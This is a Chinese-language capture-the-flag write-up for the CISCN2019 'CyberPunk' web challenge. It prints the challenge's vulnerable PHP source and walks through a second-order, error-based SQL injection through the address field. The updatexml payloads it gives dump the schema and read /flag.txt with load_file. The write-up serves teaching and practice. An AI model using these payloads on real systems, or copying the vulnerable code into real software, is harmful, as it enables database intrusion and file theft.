CISCN2019-华北赛区-Day1-Web5-CyberPunk

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

image-20210423174538565

摸索一下,有添加订单,查找订单,删除订单,确认订单,更改订单的功能:

index、confirm、delete、search、change、config

index页面有提示:?file,用php://读取:

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<!--?file=?-->

其他页面都有针对sql的过滤:

1
2
3
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';

我们可以发现,address(地址)没有过滤……

在添加订单功能中(confirm.php):

1
$re->bind_param("sss", $user_name, $address, $phone);

bind_param:

该函数绑定了 SQL 的参数,且告诉数据库参数的值。 “sss” 参数列处理其余参数的数据类型。s 字符告诉数据库该参数为字符串。

参数有以下四种类型:

i - integer(整型)
d - double(双精度浮点型)
s - string(字符串)
b - BLOB(布尔值)

这个函数的使用绑定了参数为字符串,有效防止了sql注入……

change.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

$address = addslashes($_POST["address"]);对修改值进行了转义操作……

由于报错信息是可以打印出来的,是一个新的知识点:

报错注入

https://blkstone.github.io/2017/11/09/updatexml-sqli/

利用updatexml的中间不合语法的参数报错带出数据

至于二次注入,很多wp都没解释……我猜测一波……

在更新数据时,虽然对修改值进行了转义操作,但不会将\带入数据库,拿出时仍是'

$row = $fetch->fetch_assoc();抓取的是上一次的数据

“‘, `old_address`=’”.$row[‘address’]是上一次的address,这使得 依然起效……

我们先注入报错语句,再在change随便更改下,上次注入语句便开始工作,获得报错内容,带出数据。

构造语句使符合语法进行报错注入:

1
2
3
4
5
6
address=1' where user_id=updatexml(1,concat(0x7e,(select(database())),0x7e),1)#

address=1' where user_id=updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

address=1' where user_id=updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x75736572)),20,30),0x7e),1)#

查了一大波东西,似乎没有flag……?

原题目好像告诉了要读根目录的flag.txt……

address=1' where user_id=updatexml(1,concat(0x7e,substr(load_file('/flag.txt'),1,20),0x7e),1)#

image-20210423190458532

address=1' where user_id=updatexml(1,concat(0x7e,substr(load_file('/flag.txt'),20,60),0x7e),1)#

flag{db0fd1ea-0731-4

b94-ad41-e7e6192643eb}

得到了flag……

作者

inanb

发布于

2021-04-23

更新于

2021-08-23

许可协议


:D 一言句子获取中...